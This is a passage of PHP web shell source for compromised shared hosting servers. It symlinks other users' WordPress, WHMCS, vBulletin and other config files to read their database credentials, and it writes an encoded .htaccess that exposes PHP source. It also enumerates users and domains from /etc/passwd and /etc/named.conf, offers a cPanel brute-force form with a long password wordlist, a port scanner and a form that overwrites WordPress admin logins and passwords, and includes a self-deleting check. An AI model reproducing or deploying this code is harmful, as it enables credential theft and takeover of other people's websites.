  2173. symlink('/home7/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  2174. symlink('/home7/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  2175. symlink('/home7/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  2176. symlink('/home7/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  2177. symlink('/home7/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  2178. symlink('/home7/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  2179. symlink('/home7/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  2180. symlink('/home7/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  2181. symlink('/home7/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  2182. symlink('/home7/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  2183. symlink('/home7/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  2184. symlink('/home7/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  2185. symlink('/home7/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  2186. symlink('/home7/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  2187. symlink('/home7/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  2188. symlink('/home7/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  2189. symlink('/home7/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  2190. symlink('/home7/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  2191. symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  2192. symlink('/home7/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  2193. symlink('/home7/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  2194. symlink('/home7/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  2195. symlink('/home7/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  2196. symlink('/home7/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  2197. symlink('/home7/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  2198. symlink('/home7/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
  2199. symlink('/home7/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  2200. symlink('/home7/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt');
  2201. symlink('/home7/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  2202. symlink('/home7/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  2203. symlink('/home7/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  2204. symlink('/home7/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  2205. symlink('/home7/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  2206. symlink('/home7/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  2207. symlink('/home7/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  2208. symlink('/home7/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  2209. symlink('/home7/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  2210. symlink('/home7/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  2211. symlink('/home7/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  2212. symlink('/home7/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  2213. symlink('/home7/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  2214. symlink('/home7/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  2215. symlink('/home7/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  2216. symlink('/home7/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  2217. symlink('/home7/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  2218. symlink('/home7/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  2219. symlink('/home7/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  2220. symlink('/home7/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  2221. symlink('/home7/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  2222. symlink('/home7/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  2223. symlink('/home7/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  2224. symlink('/home7/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
  2225. symlink('/home7/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  2226. symlink('/home7/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  2227. symlink('/home7/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  2228. symlink('/home7/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  2229. symlink('/home7/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  2230. symlink('/home7/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  2231. symlink('/home7/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  2232. symlink('/home7/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  2233. symlink('/home7/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  2234. symlink('/home7/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  2235. symlink('/home7/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  2236. symlink('/home7/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  2237. symlink('/home7/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  2238. symlink('/home7/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  2239. symlink('/home7/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  2240. symlink('/home7/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  2241. symlink('/home7/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  2242. symlink('/home7/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  2243. symlink('/home7/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  2244. symlink('/home7/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  2245. symlink('/home7/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  2246. symlink('/home7/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  2247. symlink('/home7/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  2248. symlink('/home7/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  2249. symlink('/home7/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  2250. symlink('/home7/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  2251. symlink('/home7/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  2252. symlink('/home7/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  2253. symlink('/home7/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  2254. symlink('/home7/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  2255. symlink('/home7/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  2256. symlink('/home7/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  2257. symlink('/home7/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  2258. symlink('/home7/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  2259. }
  2260.  
  2261. $d0mains = @file("/etc/named.conf");
  2262.  
  2263. if($d0mains)
  2264. {
  2265. mkdir($fn);
  2266. chdir($fn);
  2267.  
  2268. foreach($d0mains as $d0main)
  2269. {
  2270. if(eregi("zone",$d0main))
  2271. {
  2272. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2273. flush();
  2274.  
  2275. if(strlen(trim($domains[1][0])) > 2)
  2276. {
  2277. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2278.  
  2279. syml($user['name'],$domains[1][0]);
  2280. }
  2281. }
  2282. }
  2283. echo "<center><font color=lime size=3>[ Done ]</font></center>";
  2284. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  2285. }
  2286. else
  2287. {
  2288. mkdir($fn);
  2289. chdir($fn);
  2290. $temp = "";
  2291. $val1 = 0;
  2292. $val2 = 1000;
  2293. for(;$val1 <= $val2;$val1++)
  2294. {
  2295. $uid = @posix_getpwuid($val1);
  2296. if ($uid)
  2297. $temp .= join(':',$uid)."\n";
  2298. }
  2299. echo '<br/>';
  2300. $temp = trim($temp);
  2301.  
  2302. $file5 = fopen("test.txt","w");
  2303. fputs($file5,$temp);
  2304. fclose($file5);
  2305.  
  2306. $htaccess =
  2307. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  2308. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  2309. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  2310. ';
  2311. $file = fopen(".htaccess","w+");
  2312. $write = fwrite ($file ,base64_decode($htaccess));
  2313.  
  2314. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2315. while(!feof($file))
  2316. {
  2317. $s = fgets($file);
  2318. $matches = array();
  2319. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2320. $matches = str_replace("home/","",$matches[1]);
  2321. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2322. continue;
  2323. syml($matches,$matches);
  2324. }
  2325. fclose($file);
  2326. echo "</table>";
  2327. unlink("test.txt");
  2328. echo "<center><font color=lime size=3>[ Done ]</font></center>";
  2329. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  2330. }
  2331. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  2332. exit;
  2333. }
  2334. ?>
  2335. <form method="POST" target="_blank">
  2336. <strong>
  2337. <input name="page" type="hidden" value="find"><table>
  2338. </strong><br><br><center><font size="5" style="italic" color="#00ff00">+--==[ Cpanel BruteForce ]==--+</font></center><br><br>
  2339. <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  2340. <tr>
  2341. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  2342. <center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
  2343. <tr>
  2344. <td>
  2345. <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  2346. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  2347. <strong>User :</strong></td>
  2348. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames">
  2349. <?php system('ls /var/mail');?>
  2350. </textarea></strong></td>
  2351. </tr>
  2352. <tr>
  2353. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  2354. <strong>Pass :</strong></td>
  2355. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords">!@#!@#
  2356. !@#$$#@!
  2357. !@#$%^
  2358. !@#$%^&
  2359. !@#$%^&*(
  2360. @12345
  2361. @123456
  2362. @1234567
  2363. @12345678
  2364. @123456789
  2365. 000000
  2366. 0123123
  2367. 0123456
  2368. 0987654321
  2369. 100000
  2370. 10011001
  2371. 100827092
  2372. 101010
  2373. 10101010
  2374. 101010101
  2375. 102030
  2376. 10203040
  2377. 111111
  2378. 1111111
  2379. 11111111
  2380. 111111111
  2381. 1111111111
  2382. 1111114
  2383. 11112222
  2384. 1111989
  2385. 111222
  2386. 111222333
  2387. 111333
  2388. 112112
  2389. 1121221
  2390. 112233
  2391. 11223344
  2392. 113323
  2393. 113355
  2394. 114477
  2395. 121121
  2396. 121212
  2397. 121212121
  2398. 121314
  2399. 121988
  2400. 122333
  2401. 123!@#
  2402. 1231213
  2403. 123123
  2404. 123123123
  2405. 123321
  2406. 12341234
  2407. 1234242
  2408. 1234321
  2409. 12344321
  2410. 123454
  2411. 123454321
  2412. 1234554321
  2413. 123456
  2414. 1234560
  2415. 1234561
  2416. 123456123
  2417. 1234565
  2418. 1234567
  2419. 12345676
  2420. 12345678
  2421. 123456787
  2422. 123456789
  2423. 1234567890
  2424. 12345678910
  2425. 1234567898
  2426. 123456admin
  2427. 123467
  2428. 1234678
  2429. 12346789
  2430. 123467890
  2431. 12348765
  2432. 123567
  2433. 123654
  2434. 123654789
  2435. 123789
  2436. 123987
  2437. 123abc
  2438. 123admin
  2439. 124578
  2440. 131313
  2441. 133242
  2442. 134679
  2443. 135135135
  2444. 135790
  2445. 142356789
  2446. 142536
  2447. 147147
  2448. 147258
  2449. 147258369
  2450. 147852
  2451. 147852369
  2452. 1478963
  2453. 159159
  2454. 159357
  2455. 159753
  2456. 159753456
  2457. 159951
  2458. 171717
  2459. 181818
  2460. 191919
  2461. 19216801
  2462. 19921992
  2463. 19951995
  2464. 1q2w3e4r
  2465. 1q2w3e4r5t
  2466. 1q2w3e4r5t6y
  2467. 1qaz2wsx
  2468. 1qaz2wsx3edc
  2469. 1qazxsw2
  2470. 1qw23e
  2471. 1qw23er45ty67u
  2472. 1qwe299
  2473. 21122112
  2474. 212121
  2475. 214221
  2476. 221211
  2477. 22221111
  2478. 222222
  2479. 2222222
  2480. 22222222
  2481. 222222222
  2482. 222888
  2483. 223344
  2484. 223355
  2485. 224466
  2486. 232323
  2487. 234234
  2488. 234523
  2489. 234567
  2490. 2345678
  2491. 23456789
  2492. 234567890
  2493. 242424
  2494. 243432
  2495. 246810
  2496. 252525
  2497. 258258
  2498. 258456
  2499. 271989
  2500. 313131
  2501. 321123
  2502. 321321
  2503. 321321321
  2504. 321456
  2505. 321654987
  2506. 323232
  2507. 332211
  2508. 333333
  2509. 3333333
  2510. 33333333
  2511. 333333333
  2512. 334345
  2513. 343434
  2514. 345345
  2515. 357951
  2516. 3646542
  2517. 369369
  2518. 369852147
  2519. 415263
  2520. 420420
  2521. 444444
  2522. 4444444
  2523. 44444444
  2524. 444444444
  2525. 445566
  2526. 454545
  2527. 456123
  2528. 456321
  2529. 456456
  2530. 456654
  2531. 456789
  2532. 4815162342
  2533. 4897798
  2534. 51905190
  2535. 5277804
  2536. 531531531
  2537. 555555
  2538. 5555555
  2539. 55555555
  2540. 555555555
  2541. 555655
  2542. 567567
  2543. 567890
  2544. 576823
  2545. 600555
  2546. 654321
  2547. 666666
  2548. 6666666
  2549. 66666666
  2550. 666666666
  2551. 66669999
  2552. 666999
  2553. 666999666
  2554. 678678
  2555. 696969
  2556. 69696969
  2557. 718293
  2558. 753159
  2559. 753951
  2560. 7654321
  2561. 777777
  2562. 7777772000
  2563. 7777777
  2564. 77777777
  2565. 777777777
  2566. 784512
  2567. 789321
  2568. 789456
  2569. 789654
  2570. 789789
  2571. 7897984
  2572. 794613
  2573. 8675309
  2574. 87654321
  2575. 888888
  2576. 8888888
  2577. 88888888
  2578. 888888888
  2579. 895623
  2580. 9026888
  2581. 9379992
  2582. 968574
  2583. 987456
  2584. 987456321
  2585. 987654
  2586. 9876543
  2587. 98765432
  2588. 987654321
  2589. 9876543210
  2590. 987865
  2591. 99990000
  2592. 99996666
  2593. 999999
  2594. 9999999
  2595. 99999999
  2596. 999999999
  2597. abc123
  2598. abcabc
  2599. abcd1234
  2600. abcdef
  2601. acb123
  2602. adm1n1strator
  2603. adm1nistrator
  2604. admin@123
  2605. admin1
  2606. ADMIN1
  2607. admin12
  2608. admin123
  2609. admin1234
  2610. admin123456
  2611. admincp
  2612. administrator
  2613. anhyeuem
  2614. asdfasdf
  2615. asdqwe
  2616. asdqwe123
  2617. changeme
  2618. iloveyou
  2619. p@$$w0rd
  2620. P@$$w0rd
  2621. P@$$W0RD
  2622. P@$$word
  2623. P@$$WORD
  2624. p@ssw0rd
  2625. P@ssw0rd
  2626. P@SSW0RD
  2627. P@ssw0rd1
  2628. P@SSW0RD1
  2629. P@ssw0rd123
  2630. P@SSW0RD123
  2631. p@ssword
  2632. P@ssword
  2633. P@SSWORD
  2634. pass123
  2635. pass1234
  2636. passadmin
  2637. passw0rd
  2638. Passw0rd
  2639. Passw0rd1
  2640. passwd
  2641. password
  2642. Password
  2643. PASSword
  2644. PASSWORD
  2645. password1
  2646. Password1
  2647. password12
  2648. password123
  2649. password1234
  2650. password12345
  2651. password123456
  2652. password1234567
  2653. password12345678
  2654. password123456789
  2655. q1w2e3r4
  2656. qw1234er
  2657. qwaszx
  2658. qwe123
  2659. qwe321
  2660. qwe456
  2661. qweasd
  2662. qweasdzxc
  2663. Qweasdzxc
  2664. qwedsa
  2665. qweewq
  2666. qweqwe
  2667. qwer12
  2668. qwer123
  2669. qwerasdf
  2670. qwert1
  2671. qwert1234
  2672. qwerty
  2673. Qwerty
  2674. QWERTY
  2675. QWERTY!
  2676. qwerty1
  2677. qwerty12
  2678. qwerty123
  2679. qwerty123
  2680. qwerty1234
  2681. qwerty1234
  2682. qwertyasdfg
  2683. r00t123
  2684. s3cret
  2685. s3cret123
  2686. test123
  2687. Test123</textarea></strong></td>
  2688. </tr>
  2689. <tr>
  2690. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  2691. <strong>Type :</strong></td>
  2692. <td valign="top" bgcolor="#151515" colspan="5">
  2693. <span class="style2"><strong>Simple : </strong> </span>
  2694. <strong>
  2695. <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  2696. <font class="style2"><strong>/etc/passwd : </strong> </font>
  2697. <strong>
  2698. <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  2699. </strong>
  2700. </span>
  2701. </td>
  2702. </tr>
  2703. <tr>
  2704. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  2705. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
  2706. </strong>
  2707. </td>
  2708. <tr>
  2709. </form>
  2710. <tr>
  2711. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
  2712. </tr>
  2713. <form method="POST" target="_blank">
  2714. <strong>
  2715. <input name="mendapatkan" type="hidden" value="passwd">
  2716. </strong>
  2717. <tr>
  2718. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
  2719. <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
  2720. </strong>
  2721. </td>
  2722. </tr>
  2723. <tr>
  2724. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  2725. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  2726. </strong>
  2727. </td>
  2728. <tr>
  2729. </form>
  2730. <tr>
  2731. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
  2732. </tr>
  2733. <form method="POST" target="_blank">
  2734. <strong>
  2735. <input name="pass" type="hidden" value="password">
  2736. </strong>
  2737. <tr>
  2738. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
  2739. <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
  2740. </strong>
  2741. </td>
  2742. </tr>
  2743. <tr>
  2744. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  2745. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  2746. </strong>
  2747. </td>
  2748. <tr>
  2749. </form>
  2750. <tr>
  2751. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
  2752. Security</strong></td>
  2753. </tr>
  2754. <tr>
  2755. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  2756. <td valign="top" bgcolor="#151515" colspan="5">
  2757. <strong>
  2758. <?php
  2759. $safe_mode = ini_get('safe_mode');
  2760. if($safe_mode=='1')
  2761. {
  2762. echo 'ON';
  2763. }else{
  2764. echo 'OFF';
  2765. }
  2766.  
  2767. ?>
  2768. </strong>
  2769. </td>
  2770. </tr>
  2771. <tr>
  2772. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Disable Function</strong></td>
  2773. <td valign="top" bgcolor="#151515" colspan="5">
  2774. <strong>
  2775. <form method="POST" target="_blank">
  2776. <strong>
  2777. <input name="matikan" type="hidden" value="sekatan">
  2778. </strong>
  2779.  
  2780. <?php
  2781. if(''==($func=@ini_get('disable_functions')))
  2782. {
  2783. echo "<font color=#00ff00>No Security for Function</font></b>";
  2784. }else{
  2785. echo "<font color=red>$func</font></b>";
  2786. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  2787. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong>
  2788. </strong>
  2789. </td></tr>';
  2790. }
  2791. ?></strong></td></tr></table></table></table>
  2792. <?
  2793. }
  2794.  
  2795. /////////////////////////////////////
  2796.  
  2797. elseif(isset($_GET['x']) && ($_GET['x'] == 'readable'))
  2798. {
  2799. ?>
  2800. <form action="?y=<?php echo $pwd; ?>&amp;x=readable" method="post">
  2801. <?php
  2802. //radable public_html
  2803. echo '<html><head><title>Lompat</title></head><body>';
  2804. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  2805. set_time_limit(0);
  2806. ###################
  2807. @$passwd = fopen('/etc/passwd','r');
  2808. if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd'); }
  2809. $pub = array();
  2810. $users = array();
  2811. $conf = array();
  2812. $i = 0;
  2813. while(!feof($passwd))
  2814. {
  2815. $str = fgets($passwd);
  2816. if ($i > 35)
  2817. {
  2818. $pos = strpos($str,':');
  2819. $username = substr($str,0,$pos);
  2820. $dirz = '/home/'.$username.'/public_html/';
  2821. if (($username != ''))
  2822. {
  2823. if (is_readable($dirz))
  2824. {
  2825. array_push($users,$username);
  2826. array_push($pub,$dirz);
  2827. }
  2828. }
  2829. }
  2830. $i++;
  2831. }
  2832. ###################
  2833. echo '<br><br>';
  2834. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  2835. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br />";
  2836. echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
  2837. foreach ($users as $user)
  2838. {
  2839. $path = "/home/$user/public_html/";
  2840. echo "<a href='?y&#61;$path' target='_blank' style='text-shadow:0px 0px 0px #00FF00; font-weight:bold; color:#F80;'>$path</a><br><br><br>";
  2841. }
  2842. echo "\n";
  2843. echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore \n"."<br />";
  2844. echo "[+] Complete...\n"."<br />";
  2845. echo '<br><br></b>
  2846. </body>
  2847. </html>';
  2848. }
  2849. elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
  2850. {
  2851. ?>
  2852. <form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">
  2853. <?php
  2854. //radable public_html
  2855. echo "<br><br>";
  2856. $file = @implode(@file("/etc/named.conf"));
  2857. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  2858. preg_match_all("#named/(.*?).db#",$file ,$r);
  2859. $domains = array_unique($r[1]);
  2860. function check() { (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; }
  2861. check();
  2862. echo "<table align=center border=1 width=59% cellpadding=5>
  2863. <tr><td colspan=2>[+] Here We Have : [<font face=calibri size=4 style=color:#00FF00>".count($domains)."</font>] Listed Domains In localhost.</td></tr>
  2864. <tr><td><b>List Of Users</b></td><td><b><font style=color:#F80;List Of Domains</b></td></tr>";
  2865. foreach($domains as $domain)
  2866. {
  2867. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  2868. echo "<tr><td><a href='http://www.$domain' target='_blank' style='text-shadow:0px 0px 0px #00FF00; font-weight:bold; color:#00FF00;'>$domain</a></td><td>".$user['name']."</td></tr>";
  2869. }
  2870. echo "</table>";
  2871. //radable public_html
  2872. }
  2873. elseif(isset($_GET['x']) && ($_GET['x'] == 'port-scanner'))
  2874. {
  2875. ?>
  2876. <form action="?y=<?php echo $pwd; ?>&amp;x=port-scanner" method="post">
  2877. <?php
  2878. echo '<br><br><center><br><b>Port Scanner</b><br>';
  2879. $start = strip_tags($_POST['start']);
  2880. $end = strip_tags($_POST['end']);
  2881. $host = strip_tags($_POST['host']);
  2882. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  2883. for($i = $start; $i<=$end; $i++){
  2884. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  2885. if($fp){
  2886. echo 'Port '.$i.' is <font color=green>open</font><br>';
  2887. }
  2888. flush();
  2889. }
  2890. }else{
  2891. echo '
  2892. <input type="hidden" name="y" value="phptools">
  2893. Host:<br />
  2894. <input type="text" style="color:#00FF1E;background-color:#000000" name="host" value="localhost"/><br />
  2895. Port start:<br />
  2896. <input type="text" style="color:#00FF1E;background-color:#000000" name="start" value="0"/><br />
  2897. Port end:<br />
  2898. <input type="text" style="color:#00FF1E;background-color:#000000" name="end" value="5000"/><br />
  2899. <input type="submit" style="color:#000000" value="Scan Ports" />
  2900. </form></center>';
  2901. }
  2902. }
  2903.  
  2904. elseif(isset($_GET['x']) && ($_GET['x'] == 'wp')) { echo "<center/><br/><b><font color=blue>+--==[ Wordpress Mysql Admin Shell ]==--+</font></b><br><br>";
  2905.  
  2906. if(empty($_POST['pwd'])){
  2907.  
  2908. echo "<FORM method='POST'>
  2909. <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
  2910. <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
  2911. <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
  2912. <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
  2913. <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
  2914. <tr><td>&nbsp;&nbsp;User baru</td><td>
  2915. <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
  2916. <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
  2917. <input style='width:80px;' class='inputz' type='text' name='pwd' value='aerulcyber' />&nbsp;
  2918.  
  2919. <input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
  2920. </td></tr> </table><br><br><br><br>
  2921. ";
  2922. }else{
  2923. $localhost = $_POST['localhost'];
  2924. $database = $_POST['database'];
  2925. $username = $_POST['username'];
  2926. $password = $_POST['password'];
  2927. $pwd = $_POST['pwd'];
  2928. $admin = $_POST['admin'];
  2929.  
  2930.  
  2931. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2932. @mysql_select_db($database) or die(mysql_error());
  2933.  
  2934. $hash = crypt($pwd);
  2935. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
  2936. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
  2937. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
  2938. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
  2939. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
